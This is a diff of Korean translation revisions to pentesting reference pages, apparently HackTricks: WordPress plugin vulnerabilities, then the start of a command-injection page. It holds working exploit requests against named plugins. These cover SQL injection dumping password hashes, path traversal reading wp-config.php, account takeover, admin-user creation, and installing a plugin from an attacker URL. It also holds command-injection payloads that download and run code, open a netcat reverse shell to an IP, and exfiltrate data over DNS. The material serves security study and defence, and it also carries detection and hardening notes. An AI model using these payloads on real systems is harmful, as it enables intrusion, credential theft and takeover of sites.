-- 일부 배포에서는, 인증된 어떤 사용자도 `viewing_admin_as_role_are`에 여전히 남아 있는 다른 사용자명을 대상으로 리셋을 트리거할 수 있다(권한 검증 결함).
+- 서버 측 권한 확인 없이 `$_REQUEST['reset-for']`와 플러그인 옵션을 신뢰한다.
+- 사용자가 이전에 `_asenha_view_admin_as_original_roles`에 높은 권한이 저장되어 있다가 권한이 강등된 경우, reset 경로를 호출해 그 권한을 복원할 수 있다.
+- 일부 배포 환경에서는 인증된 사용자라면 누구나 `viewing_admin_as_role_are`에 여전히 남아 있는 다른 사용자 이름에 대해 reset을 트리거할 수 있다(권한 검증 결함).
 
 Exploitation (example)
 ```bash
@@ -493,21 +493,21 @@ Exploitation (example)
 curl -s -k -b 'wordpress_logged_in=...' \
 'https://victim.example/wp-admin/?reset-for=<your_username>'
 ```
-On vulnerable builds this removes current roles and re-adds the saved original roles (e.g., `administrator`), effectively escalating privileges.
+취약한 빌드에서는 이것이 현재 역할을 제거하고 저장된 원래 역할(예: `administrator`)을 다시 추가하여 실질적으로 권한을 상승시킵니다.
 
 Detection checklist
 
-- user meta에 'original roles'를 영구 저장하는 역할 전환 기능을 찾아보세요(예: `_asenha_view_admin_as_original_roles`).
+- user meta에 “original roles”를 유지하는 역할 전환 기능(예: `_asenha_view_admin_as_original_roles`)을 찾으세요.
 - 다음과 같은 리셋/복원 경로를 식별하세요:
-  - `$_REQUEST` / `$_GET` / `$_POST`에서 사용자명을 읽는지.
-  - `add_role()` / `remove_role()`로 역할을 변경하면서 `current_user_can()`와 `wp_verify_nonce()` / `check_admin_referer()` 없이 동작하는지.
-  - 행위자의 권한(capabilities) 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여하는지.
+  - 사용자명을 `$_REQUEST` / `$_GET` / `$_POST`에서 읽음.
+  - `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`로 역할을 변경함.
+  - 행위자의 권한 대신 플러그인 옵션 배열(예: `viewing_admin_as_role_are`)에 기반해 권한을 부여함.
 
 ---
 
 ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
 
-Some plugins wire user-switching helpers to the public `init` hook and derive identity from a client-controlled cookie. If the code calls `wp_set_auth_cookie()` without verifying authentication, capability and a valid nonce, any unauthenticated visitor can force login as an arbitrary user ID.
+일부 플러그인은 사용자 전환 헬퍼를 공개 `init` 훅에 연결하고 클라이언트가 제어하는 쿠키에서 신원을 유도합니다. 코드가 인증, 권한 및 유효한 nonce를 확인하지 않고 `wp_set_auth_cookie()`를 호출하면, 비인증 방문자도 임의의 사용자 ID로 강제 로그인할 수 있습니다.
 
 Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
 ```php
@@ -538,11 +538,11 @@ wp_die('Original user not found.');
 wp_die('No original user found to switch back to.');
 }
 ```
-왜 취약한가
+취약한 이유
 
-- 공개된 `init` 훅으로 핸들러가 인증되지 않은 사용자도 접근할 수 있습니다 (`is_user_logged_in()` 보호 없음).
-- 신원은 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생됩니다.
-- `wp_set_auth_cookie($uid)`를 직접 호출하면 권한 또는 nonce 검사 없이 요청자를 해당 사용자로 로그인시킵니다.
+- 공개된 `init` 훅은 핸들러가 인증되지 않은 사용자도 접근 가능하게 만듭니다(`is_user_logged_in()` 검사 없음).
+- 식별은 클라이언트에서 수정 가능한 쿠키(`original_user_id`)로부터 파생됩니다.
+- 직접적인 `wp_set_auth_cookie($uid)` 호출은 요청자를 해당 사용자로 로그인시키며 권한(capability)/nonce 검사 없이 실행됩니다.
 
 Exploitation (unauthenticated)
 ```http
@@ -554,32 +554,32 @@ Connection: close
 ```
 ---
 
-### WAF considerations for WordPress/plugin CVEs
+### WAF 고려사항 — WordPress/plugin CVEs
 
 Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
 
-공격 노트
+공격자 노트
 
-- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
-- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
-- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
+- 플러그인별 엔드포인트를 깨끗한 페이로드로 타깃하세요: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, 사용자 정의 파일 핸들러, shortcodes.
+- 우선 unauth 경로를 먼저 테스트하세요 (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). 기본 페이로드는 종종 난독화 없이도 성공합니다.
+- 전형적인 높은 영향 사례: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
 
 방어 노트
 
-- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
-- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
+- 일반적인 WAF 시그니처만으로 plugin CVEs를 보호하지 마세요. 애플리케이션 레이어 수준의 취약점별 가상 패치를 구현하거나 신속히 업데이트하세요.
+- 코드에서는 negative regex 필터보다 positive-security 체크(예: capabilities, nonces, 엄격한 입력 검증)를 우선 적용하세요.
 
-## WordPress Protection
+## WordPress 보호
 
-### Regular Updates
+### 정기 업데이트
 
-Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
+WordPress, plugins, and themes가 최신 상태인지 확인하세요. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하세요:
 ```bash
 define( 'WP_AUTO_UPDATE_CORE', true );
 add_filter( 'auto_update_plugin', '__return_true' );
 add_filter( 'auto_update_theme', '__return_true' );
 ```
-Also, **only install trustable WordPress plugins and themes**.
+또한, **신뢰할 수 있는 WordPress 플러그인과 테마만 설치하세요**.
 
 ### 보안 플러그인
 
@@ -587,18 +587,18 @@ Also, **only install trustable WordPress plugins and themes**.
 - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
 - [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
 
-### **기타 권장사항**
+### **기타 권장 사항**
 
 - 기본 **admin** 사용자 제거
-- **강력한 비밀번호**와 **2FA** 사용
+- 강력한 **비밀번호**와 **2FA** 사용
 - 주기적으로 사용자 **권한**을 **검토**하세요
 - Brute Force 공격을 방지하기 위해 **로그인 시도 제한** 적용
-- **`wp-admin.php`** 파일 이름을 변경하고 내부 또는 특정 IP에서만 접근 허용
+- **`wp-admin.php`** 파일 이름을 변경하고 내부에서만 또는 특정 IP 주소에서만 접근을 허용하세요.
 
 
-### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
+### 인증되지 않은 SQL Injection — 부적절한 검증으로 인해 (WP Job Portal <= 2.3.2)
 
-The WP Job Portal recruitment plugin exposed a **savecategory** task that ultimately executes the following vulnerable code inside `modules/category/model.php::validateFormData()`:
+WP Job Portal recruitment plugin은 **savecategory** 작업을 노출시켰고, 이는 결국 다음의 취약한 코드를 `modules/category/model.php::validateFormData()` 내부에서 실행합니다:
 ```php
 $category  = WPJOBPORTALrequest::getVar('parentid');
 $inquery   = ' ';
@@ -608,19 +608,19 @@ $inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
 $query  = "SELECT max(ordering)+1 AS maxordering FROM "
 . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
 ```
-Issues introduced by this snippet:
+이 스니펫이 유발하는 문제:
 
-1. **Unsanitised user input** – `parentid` comes straight from the HTTP request.
-2. **String concatenation inside the WHERE clause** – no `is_numeric()` / `esc_sql()` / prepared statement.
-3. **Unauthenticated reachability** – although the action is executed through `admin-post.php`, the only check in place is a **CSRF nonce** (`wp_verify_nonce()`), which any visitor can retrieve from a public page embedding the shortcode `[wpjobportal_my_resumes]`.
+1. **Unsanitised user input** – `parentid`가 HTTP 요청에서 그대로 전달됩니다.
+2. **String concatenation inside the WHERE clause** – `is_numeric()` / `esc_sql()` / prepared statement 없음.
+3. **Unauthenticated reachability** – 해당 액션은 `admin-post.php`를 통해 실행되지만, 유일한 검증은 **CSRF nonce** (`wp_verify_nonce()` )뿐이며, 이 nonce는 shortcode `[wpjobportal_my_resumes]`를 포함한 공용 페이지에서 누구나 가져올 수 있습니다.
 
-#### Exploitation
+#### 악용
 
-1. 새로운 nonce를 가져옵니다:
+1. 새로운 nonce 획득:
 ```bash
 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
 ```
-2. `parentid`를 악용해 임의의 SQL을 주입합니다:
+2. `parentid`를 악용해 임의의 SQL을 주입:
 ```bash
 curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'task=savecategory' \
@@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
 -d 'parentid=0 OR 1=1-- -' \
 -d 'cat_title=pwn' -d 'id='
 ```
-응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi를 입증합니다.
+응답은 주입된 쿼리의 결과를 노출하거나 데이터베이스를 변경하여 SQLi가 존재함을 입증합니다.
 
 
 ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
 
-Another task, **downloadcustomfile**, allowed visitors to download **any file on disk** via path traversal.  The vulnerable sink is located in `modules/customfield/model.php::downloadCustomUploadedFile()`:
+다른 작업인 **downloadcustomfile**는 방문자가 Path Traversal을 이용해 디스크상의 **모든 파일**을 다운로드할 수 있게 허용했습니다. 취약한 sink는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
 ```php
 $file = $path . '/' . $file_name;
 ...
 echo $wp_filesystem->get_contents($file); // raw file output
 ```
-`$file_name`은 공격자가 제어하며 **without sanitisation** 상태로 이어붙여집니다. 다시 말하면, 유일한 장벽은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
+`$file_name`은 공격자가 제어하며 **입력 정화 없이** 연결됩니다. 다시 말해, 유일한 관문은 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다.
 
 #### Exploitation
 ```bash
@@ -650,13 +650,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \
 --data-urlencode 'entity_id=1' \
 --data-urlencode 'file_name=../../../wp-config.php'
 ```
-서버가 `wp-config.php`의 내용을 반환하여 DB credentials와 auth keys를 leak한다.
+서버가 `wp-config.php`의 내용을 응답하여, leaking DB credentials and auth keys.
 
-## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
+## Social Login AJAX fallback를 통한 인증되지 않은 계정 탈취 (Jobmonster Theme <= 4.7.9)
 
-많은 테마/플러그인은 admin-ajax.php를 통해 노출되는 "social login" 헬퍼를 포함한다. 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 된다.
+많은 테마/플러그인이 admin-ajax.php를 통해 노출된 "social login" 헬퍼를 제공합니다. 만약 인증되지 않은 AJAX 액션(wp_ajax_nopriv_...)이 provider 데이터가 없을 때 클라이언트가 제공한 식별자를 신뢰하고 wp_set_auth_cookie()를 호출하면, 이는 완전한 인증 우회가 됩니다.
 
-Typical flawed pattern (simplified)
+전형적인 취약 패턴(단순화)
 ```php
 public function check_login() {
 // ... request parsing ...
@@ -685,17 +685,17 @@ wp_send_json(['status' => 'not_user']);
 }
 // add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
 ```
-왜 취약한가
+Why it’s exploitable
 
-- 인증 없이 admin-ajax.php를 통해 접근 가능 (wp_ajax_nopriv_… action).
-- 상태 변경 전에 nonce/capability 체크 없음.
-- OAuth/OpenID provider 검증 누락; default branch가 공격자 입력을 수용함.
-- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)를 호출하면 요청자를 기존 이메일 주소 중 하나로 인증함.
+- admin-ajax.php를 통해 인증 없이 접근 가능 (wp_ajax_nopriv_… action).
+- 상태 변경 전에 nonce/capability 검증이 없음.
+- OAuth/OpenID provider 검증 누락; 기본 분기(default branch)가 공격자 입력을 수용함.
+- get_user_by('email', $_POST['id']) 다음에 wp_set_auth_cookie($uid)가 호출되면 요청자를 기존 이메일 주소의 계정으로 인증시킴.
 
-악용 (비인증)
+Exploitation (unauthenticated)
 
-- 전제조건: 공격자가 /wp-admin/admin-ajax.php에 접근할 수 있고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음.
-- provider를 지원되지 않는 값으로 설정(또는 생략)하여 default branch를 타게 한 뒤 id=<victim_email>를 전달.
+- Prerequisites: 공격자가 /wp-admin/admin-ajax.php에 접근 가능하고 유효한 사용자 이메일을 알고 있거나 추측할 수 있음.
+- provider를 지원되지 않는 값으로 설정(또는 생략)하여 기본 분기(default branch)를 타게 하고 id=<victim_email>를 전달.
 ```http
 POST /wp-admin/admin-ajax.php HTTP/1.1
 Host: victim.tld
@@ -715,34 +715,34 @@ Expected success indicators
 
 Finding the action name
 
-- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
-- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
+- 테마/플러그인에서 social login 코드의 add_action('wp_ajax_nopriv_...', '...') 등록을 확인 (예: framework/add-ons/social-login/class-social-login.php).
+- AJAX 핸들러 내부에서 wp_set_auth_cookie(), get_user_by('email', ...) 등을 grep로 검색.
 
 Detection checklist
 
-- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=<email>.
-- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.
+- /wp-admin/admin-ajax.php에 대해 social-login action과 id=<email>을 포함한 인증되지 않은 POST가 웹 로그에 기록됨.
+- 동일 IP/User-Agent에서 성공 JSON을 반환한 200 응답 직후 인증된 트래픽 발생.
 
 Hardening
 
-- 클라이언트 입력으로부터 신원을 유추하지 마세요. 검증된 provider 토큰/ID에서 유래한 이메일/ID만 허용하십시오.
-- 로그인 헬퍼에도 CSRF nonces 및 capability checks를 요구하세요; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하십시오.
-- OAuth/OIDC 응답을 서버 측에서 검증하고 확인하세요; 누락되었거나 유효하지 않은 공급자(provider)는 거부하십시오(POST id로의 폴백 금지).
-- 수정될 때까지 소셜 로그인을 일시적으로 비활성화하거나 엣지에서 취약한 액션을 차단하는 방식으로 가상 패치를 고려하세요.
+- 클라이언트 입력으로 신원을 유추하지 마라. 이메일/ID는 검증된 provider 토큰/ID에서만 수용한다.
+- 로그인 헬퍼에도 CSRF nonce와 capability 체크를 요구하라; 불필요한 경우 wp_ajax_nopriv_ 등록을 피하라.
+- OAuth/OIDC 응답을 서버사이드에서 검증하고 확인하라; 제공자 누락/잘못된 경우(POST id로 폴백하지 말고) 거부하라.
+- 임시로 social login을 비활성화하거나 엣지에서 가상 패치(취약 action 차단)하여 수정될 때까지 차단을 고려하라.
 
 Patched behaviour (Jobmonster 4.8.0)
 
-- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
+- $_POST['id']의 불안전한 폴백을 제거함; $user_email은 switch($_POST['using'])의 검증된 provider 분기에서 유래해야 함.
 
 ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
 
-일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출합니다. 경로가 추측 가능한 속성(예: username)만으로 인증하고 키를 사용자/세션에 capability checks로 바인딩하지 않으면, 모든 미인증 공격자가 키를 발급(mint)하여 권한 있는 동작(관리자 계정 생성, 플러그인 액션 → RCE)을 실행할 수 있습니다.
+일부 플러그인은 호출자의 권한을 검증하지 않고 재사용 가능한 “connection keys” 또는 토큰을 발급하는 REST 엔드포인트를 노출한다. 경로가 추측 가능한 속성(예: username)만으로 인증하고, key를 current_user_can() 또는 엄격한 permission_callback과 같은 사용자/세션에 바인딩하지 않으면, 인증되지 않은 공격자가 키를 발급해 내부 권한 동작(관리자 계정 생성, 플러그인 동작 → RCE)을 실행할 수 있다.
 
 - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
 - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
 - Impact: full takeover by chaining the minted key to internal privileged actions
 
-PoC – mint a connection key and use it
+PoC – 연결 키를 발급한 뒤 사용하기
 ```bash
 # 1) Obtain key (unauthenticated). Exact payload varies per plugin
 curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
@@ -756,25 +756,25 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
 -H 'X-Connection-Key: <conn_key>' \
 --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
 ```
-Why it’s exploitable
-- 민감한 REST route가 낮은 엔트로피의 신원 증명(username)으로만 보호되거나 permission_callback이 누락됨
-- capability 검사가 없음; 발급된 key가 범용 우회로로 수용됨
+취약한 이유
+- 민감한 REST 경로가 엔트로피가 낮은 식별 증명(username)에 의해서만 보호되거나 permission_callback이 누락됨
+- 권한 검사 없음; 발급된 키가 범용 우회로로 수용됨
 
-Detection checklist
-- register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 찾기 위해 플러그인 코드를 grep
-- 요청으로 제공된 신원(username/email)을 기반으로 토큰/키를 발급하되 이를 인증된 사용자나 capability와 연결하지 않는 모든 route
-- 서버 측 capability 검사 없이 발급된 token/key를 수용하는 후속 route를 찾아라
+탐지 체크리스트
+- plugin 코드에서 register_rest_route(..., [ 'permission_callback' => '__return_true' ]) 를 grep
+- 요청으로 제공된 식별 정보(username/email)를 바탕으로 tokens/keys를 발급하되 인증된 사용자나 권한에 묶지 않는 모든 경로
+- 서버 측 권한 검사 없이 발급된 token/key를 수용하는 이후의 경로를 찾아라
 
-Hardening
-- 권한이 필요한 모든 REST route에 대해: 필요한 capability에 대해 current_user_can()을 적용하는 permission_callback 요구
-- 클라이언트가 제공한 신원으로 장기 유효 키를 발급하지 마라; 필요한 경우 인증 후 단명, 사용자 바인딩된 토큰을 발급하고 사용 시 capability를 다시 확인하라
-- 호출자의 사용자 컨텍스트를 검증하라 (wp_set_current_user만으로는 충분하지 않음) 그리고 !is_user_logged_in() || !current_user_can(<cap>) 인 요청은 거부하라
+보안 강화
+- 권한이 필요한 REST 경로에는 해당 capability에 대해 current_user_can()을 강제하는 permission_callback 필요
+- 클라이언트 제공 식별로 장기 키를 발급하지 말 것; 필요하면 인증 후 단기간, 사용자 바인딩된 토큰을 발급하고 사용 시 권한을 재검사
+- 호출자의 사용자 컨텍스트를 검증 (wp_set_current_user만으로는 불충분) 하고 !is_user_logged_in() || !current_user_can(<cap>) 인 요청은 거부
 
 ---
 
-## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
+## Nonce 게이트 오용 → 인증되지 않은 임의의 plugin 설치 (FunnelKit Automations ≤ 3.5.3)
 
-Nonces는 CSRF를 방지하지만 권한 부여를 대체하지 않는다. 코드가 nonce 통과를 일종의 허가 신호로 간주하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요구를 충족시켜 백도어가 심긴 또는 취약한 플러그인을 설치함으로써 RCE에 도달할 수 있다.
+Nonces는 CSRF를 방지할 뿐 authorization을 보장하지 않는다. 코드가 nonce 통과를 승인 신호로 처리하고 권한이 필요한 작업(예: install/activate plugins)에 대한 capability 검사를 건너뛰면, 인증되지 않은 공격자는 약한 nonce 요건을 충족시켜 백도어 또는 취약한 plugin을 설치함으로써 RCE에 이를 수 있다.
 
 - Vulnerable path: plugin/install_and_activate
 - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
@@ -786,24 +786,24 @@ curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_
 -H 'Content-Type: application/json' \
 --data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
 ```
-탐지 체크리스트
-- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
-- Any code path that sets $skip_caps = true after nonce validation
+Detection checklist
+- 플러그인/테마를 수정하는 REST/AJAX 핸들러가 wp_verify_nonce()/check_admin_referer()만 사용하고 권한 검사 없음
+- nonce 검증 후 $skip_caps = true로 설정되는 모든 코드 경로
 
-하드닝
-- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
-- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code
-- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
+Hardening
+- nonces를 항상 CSRF 토큰으로만 취급하세요; nonce 상태와 관계없이 권한 검사를 시행하세요
+- installer code에 도달하기 전에 current_user_can('install_plugins') 및 current_user_can('activate_plugins')를 요구하세요
+- 인증되지 않은 접근을 거부하세요; 권한이 필요한 흐름에 대해 nopriv AJAX actions를 노출하지 마세요
 
 ---
 
-## depicter-* 액션의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1)
+## depicter-* actions의 s (search) 파라미터를 통한 인증되지 않은 SQLi (Depicter Slider ≤ 3.6.1)
 
-여러 depicter-* 액션이 s (search) 파라미터를 사용해 이를 파라미터화 없이 SQL 쿼리에 연결했다.
+여러 depicter-* actions가 s (search) 파라미터를 받아 파라미터화 없이 SQL 쿼리에 문자열로 연결했습니다.
 
-- Parameter: s (search)
-- Flaw: direct string concatenation in WHERE/LIKE clauses; no prepared statements/sanitization
-- Impact: database exfiltration (users, hashes), lateral movement
+- 파라미터: s (search)
+- 결함: WHERE/LIKE clauses에서 직접 문자열 연결; prepared statements/sanitization 없음
+- 영향: database exfiltration (users, hashes), lateral movement
 
 PoC
 ```bash
@@ -813,34 +813,34 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
 --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
 ```
 탐지 체크리스트
-- grep으로 depicter-* action 핸들러와 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용을 찾아보세요
-- $wpdb->get_results()/query()로 전달되는 커스텀 쿼리에서 s를 연결(concatenating)하는 부분을 검토하세요
+- Grep for depicter-* action handlers 및 SQL에서 $_GET['s'] 또는 $_POST['s']의 직접 사용 검색
+- $wpdb->get_results()/query()에 s를 연결하여 전달되는 커스텀 쿼리 검토
 
-보안 강화
-- 항상 $wpdb->prepare()나 wpdb 플레이스홀더를 사용하고; 예상치 못한 메타문자는 서버 측에서 차단하세요
-- s에 대해 엄격한 허용 목록을 추가하고 예상된 문자셋/길이로 정규화하세요
+하드닝
+- 항상 $wpdb->prepare() 또는 wpdb placeholders 사용; 서버 측에서 예상치 않은 메타문자(reject unexpected metacharacters) 차단
+- s에 대해 엄격한 allowlist 추가 및 예상 charset/length로 정규화
 
 ---
 
-## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
+## 인증되지 않은 Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
 
-템플릿 파라미터에서 공격자가 제어하는 경로를 정규화/제한 없이 수락하면 임의의 로컬 파일을 읽을 수 있고, includable PHP/log 파일이 런타임에 포함되면 경우에 따라 코드 실행으로 이어질 수 있습니다.
+검증/제한 없이 template 파라미터에 공격자가 제어하는 경로를 허용하면 임의의 로컬 파일을 읽을 수 있으며, 포함 가능한 PHP/log 파일이 런타임에 포함될 경우 특정 환경에서 code execution이 발생할 수 있습니다.
 
 - Parameter: __kubio-site-edit-iframe-classic-template
-- Flaw: 정규화/허용 목록 없음; 디렉터리 트래버설 허용
-- Impact: 기밀 노출 (wp-config.php), 특정 환경에서는 잠재적 RCE (로그 포이즈닝, includable PHP)
+- Flaw: 정규화/허용목록 없음; traversal permitted
+- Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)
 
 PoC – wp-config.php 읽기
 ```bash
 curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
 ```
 탐지 체크리스트
-- 요청 경로를 realpath() containment 없이 include()/require()/read sink에 이어붙이는 핸들러가 있는지 확인
-- 의도된 templates 디렉터리 밖으로 벗어나는 traversal 패턴 (../)을 확인
+- realpath() containment 없이 request 경로를 include()/require()/read sink에 연결(concatenating)하는 모든 handler
+- 의도한 templates 디렉토리 바깥으로 벗어나는 traversal 패턴(../)을 찾아라
 
-하드닝
-- Allowlisted 템플릿을 강제함; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base))
-- 입력을 정규화함; traversal 시퀀스와 절대 경로를 거부함; sanitize_file_name()은 파일명(전체 경로가 아님)에만 사용
+보안 강화
+- 허용된(allowlisted) templates를 강제 적용; realpath()로 해석하고 require str_starts_with(realpath(file), realpath(allowed_base))
+- 입력을 정규화(normalize)하고 traversal 시퀀스 및 절대 경로를 차단(reject); sanitize_file_name()은 파일명에만 사용(전체 경로에는 사용 금지)
 
 
 ## References

src/pentesting-web/command-injection.md

@@ -2,13 +2,13 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Command Injection이란 무엇인가?
+## command Injection이란 무엇인가?
 
-**command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영체제 명령을 실행하도록 허용한다. 그 결과 애플리케이션과 모든 데이터가 완전히 손상될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 하부 시스템에 무단으로 접근하거나 이를 제어할 수 있게 한다.
+A **command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있도록 허용한다. 그 결과 애플리케이션과 그 안의 모든 데이터가 완전히 침해될 수 있다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기반 시스템에 대한 무단 접근 또는 제어를 획득하게 한다.
 
-### 컨텍스트
+### 문맥
 
-입력이 **주입되는 위치**에 따라, 명령을 실행하기 전에 **인용된 컨텍스트를 종료**해야 할 수 있다(`"` 또는 `'` 사용).
+입력이 삽입되는 위치에 따라 **입력이 삽입되는 위치(where your input is being injected)**, 명령을 실행하기 전에 **인용된 문맥을 종료해야(terminate the quoted context)** 할 수 있다(`"` 또는 `'` 사용).
 
 ## Command Injection/Execution
 ```bash
@@ -30,24 +30,24 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
 > /var/www/html/out.txt #Try to redirect the output to a file
 < /etc/passwd #Try to send some input to the command
 ```
-### **제한** Bypasses
+### **Limition** 우회
 
-만약 **arbitrary commands inside a linux machine**를 실행하려고 한다면, 이 **Bypasses:**를 읽어보면 관심이 있을 것입니다.
+만약 linux 머신 내부에서 **임의의 명령을 실행**하려고 한다면, 이 **우회:**에 대해 읽어보면 도움이 될 것입니다.
 
 
 {{#ref}}
 ../linux-hardening/bypass-bash-restrictions/
 {{#endref}}
 
-### **예제**
+### **예시**
 ```
 vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
 vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
 vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
 ```
-### Parameters
+### 매개변수
 
-다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수(출처 [link](https://twitter.com/trbughunters/status/1283133356922884096)):
+다음은 code injection 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
 ```
 ?cmd={payload}
 ?exec={payload}
@@ -77,7 +77,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
 ```
 ### Time based data exfiltration
 
-데이터 추출: 문자 단위로
+데이터 추출: 문자 하나씩
 ```
 swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
 real    0m5.007s
@@ -91,7 +91,7 @@ sys 0m0.000s
 ```
 ### DNS 기반 data exfiltration
 
-다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` (또한 dnsbin.zhack.ca에 호스팅되어 있음)
+다음 도구를 기반으로 함: `https://github.com/HoLyVieR/dnsbin` 또한 dnsbin.zhack.ca에 호스팅됨
 ```
 1. Go to http://dnsbin.zhack.ca/
 2. Execute a simple 'ls'
@@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-DNS based data exfiltration을 확인하기 위한 온라인 도구:
+DNS 기반 data exfiltration을 확인할 수 있는 온라인 도구:
 
 - dnsbin.zhack.ca
 - pingb.in
@@ -120,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad
 ../linux-hardening/bypass-bash-restrictions/
 {{#endref}}
 
-### Node.js `child_process.exec` 대 `execFile`
+### Node.js `child_process.exec` vs `execFile`
 
-JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js `child_process` API를 접하게 됩니다.
+JavaScript/TypeScript 백엔드를 감사할 때 Node.js `child_process` API를 자주 마주칩니다.
 ```javascript
